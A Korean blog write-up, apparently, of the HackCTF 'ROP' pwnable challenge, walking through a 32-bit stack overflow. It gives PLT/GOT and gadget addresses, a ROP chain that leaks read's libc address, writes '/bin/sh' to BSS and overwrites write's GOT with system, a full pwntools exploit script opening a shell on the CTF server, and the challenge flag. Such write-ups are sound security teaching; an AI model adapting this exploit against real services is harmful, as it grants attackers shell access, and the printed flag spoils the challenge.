nc ctf.j0n9hyun.xyz 3021
Return Oriented Programming 이다.
RTL chaining 과 GOT overwrite 를 잘 이용해서 해보도록 하자.
일단 main 문은 상당히 심플하다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}
vulnerable_function()을 볼까?
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
return read(0, &buf, 0x100u);
}
일단 read 랑 write가 둘다 보이는 것을 보아 ROP 하기에는 충분 할 거 같다.
이제 GDB로 어떤 보안옵션이 있는지를 보자.
libc에는 ASLR 이 걸려있다. ROP 하면서 우회할 수 있으니까 해결해 보도록 하자.
음 일단 함수 주소같은걸 빼볼까?
read랑 write는 빼놔야 할거같다.
write_plt : 0x8048340
write_got : 0x804a018
read_plt : 0x8048310
read_got : 0x804a00c
BSS : 0x804a024
system : 0xf7e1dd80
/bin/sh 주소도 찾아주고
대충 필요한 함수들은 찾은거 같으니까 write 함수랑 read 함수를 보자.
write(fd, 문구 , 길이)
read(fd, 버퍼 , 크기)
두 함수가 다 인자가 3개 이므로 pppr 가젯을 가져오면 되겠다.
pppr gadget : 0x8048509
"/bin/sh" 를 BSS영역에 구할거니까. BSS영역의 주소도 구해보자.
BSS = 0x804a024
전체적인 시나리오를 적어보자.
- Write 함수를 이용해서 Read 함수의 실제 주소 Leak.
- Leak 한 주소 - read_sys_offset = system의 실제 주소 Get.
- BSS 영역에 "/bin/sh" 쓰기.
- Read 함수 이용해서 Write 의 GOT 에 System 의 실제 주소 적기.
- Write 의 plt 실행.
여기서 read 함순데 어떻게 어딘가에 작성하는가 라는 의문점이 들었다.
read 함수의 인자는 fd, buf, size 이다.
예를 들어서 BSS 영역에 /bin/sh 를 쓴다고 할 때 함수는 이렇게 생긴다.
read(0,bss,8) => stdin에서 8 만큼 읽어서 BSS에 저장하겠다. 이런 뜻이다.
약간 생각이 꼬였었던거 같다. 지금 생각해보면 엄청 당연한건데….
이렇게 넣어주면 우리 시나리오 대로 실행될 수 있다. RTL_Chaining 하고 GOT_Overwrite 를 잘 활용하면 된다.
payload = buffer(136)+SFP(4) + write_plt + pppr + 1 + read_got + 4 + read_plt + pppr + 0 + bss_addr + 8 + read_plt + pppr + 0 + write_got + 4 + write_plt + dummy(4) + bss_addr
맞게 잘 했는데 주소 하나 오타난 거 때문에 2시간을 날렸다.
주소 같은거 실수할 바에 pwntools 에 있는 기능을 잘 쓰도록 하자.
from pwn import *
#context.log_level = "debug"
#p = process('./rop')
p = remote('ctf.j0n9hyun.xyz',3021)
e = ELF('./rop')
libc = ELF('./libc.so.6')
##########variable#############
read_offset = libc.symbols['read']
sys_offset = libc.symbols['system']
bss = 0x804a024
write_plt = 0x8048340
#write_plt = e.plt['write']
write_got = 0x804a018
#write_got = e.got['write']
read_plt = 0x8048310
#read_plt = e.plt['read']
read_got = 0x804a00c
#read_got = e.got['read']
pppr = 0x8048509
##############################
pay = "A"*136
pay += "B"*4
# Get read's real address
pay += p32(write_plt)
pay += p32(pppr)
pay += p32(1)
pay += p32(read_got)
pay += p32(4)
# write "/bin/sh" on BSS
pay += p32(read_plt)
pay += p32(pppr)
pay += p32(0)
pay += p32(bss)
pay += p32(8)
# Write system address on write_GOT
pay += p32(read_plt)
pay += p32(pppr)
pay += p32(0)
pay += p32(write_got)
pay += p32(4)
#Call write_plt -> execute system("/bin/sh")
pay += p32(write_plt)
pay += "A"*4
pay += p32(bss)
p.sendline(pay)
read_addr = u32(p.recv(4))
print("Read's Real Address is : "+str(hex(read_addr)))
libc_base = read_addr - read_offset
sys_addr = libc_base + sys_offset
print("System Address is : "+str(hex(sys_addr)))
p.send("/bin/sh\x00")
print("Successfully Wrote 'bin/sh' on BSS")
p.send(p32(sys_addr))
print("Successfully Wrote sys_addr on write_GOT")
p.interactive()
HackCTF{4bcd3fg7ijPlmA4pqrtuvxza2cdef}
'WriteUp > HackCTF' 카테고리의 다른 글
HackCTF - basic_fsb (0) | 2020.11.19 |
---|---|
Misc : DNA (0) | 2020.09.03 |
RTL_Core (0) | 2020.08.31 |
Forensics : 잔상 (0) | 2020.08.22 |
Pwnable : Random Key (0) | 2020.08.22 |